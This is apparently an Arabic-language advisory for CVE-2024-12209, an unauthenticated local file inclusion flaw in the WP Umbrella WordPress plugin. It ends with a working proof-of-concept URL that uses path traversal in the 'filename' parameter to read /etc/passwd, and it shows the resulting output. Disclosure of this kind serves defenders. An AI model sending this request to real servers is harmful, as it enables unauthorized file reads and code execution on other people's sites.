CVE-2024-12209

WP Umbrella: Update Backup Restore & Monitoring <= 2.17.0 - تضمين ملف محلي بدون مصادقة

الوصف

إضافة WP Umbrella: Update Backup Restore & Monitoring لووردبريس معرضة لثغرة تضمين الملفات المحلية في جميع الإصدارات حتى 2.17.0 بما في ذلك، عبر المعامل 'filename' من إجراء 'umbrella-restore'. وهذا يجعل من الممكن للمهاجمين غير المصادقين تضمين وتنفيذ ملفات عشوائية على الخادم، مما يسمح بتنفيذ أي كود PHP في تلك الملفات. يمكن استخدام ذلك لتجاوز ضوابط الوصول، أو الحصول على بيانات حساسة، أو تحقيق تنفيذ كود في الحالات التي يمكن فيها رفع وتضمين الصور وأنواع الملفات "الآمنة" الأخرى.

التفاصيل

• النوع: plugin
• المعرف المختصر (Slug): wp-health
• الإصدار المتأثر: 2.17.0
• درجة CVSS: 9.8
• تصنيف CVSS: حرج
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12209
• الحالة: نشط

POC

https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin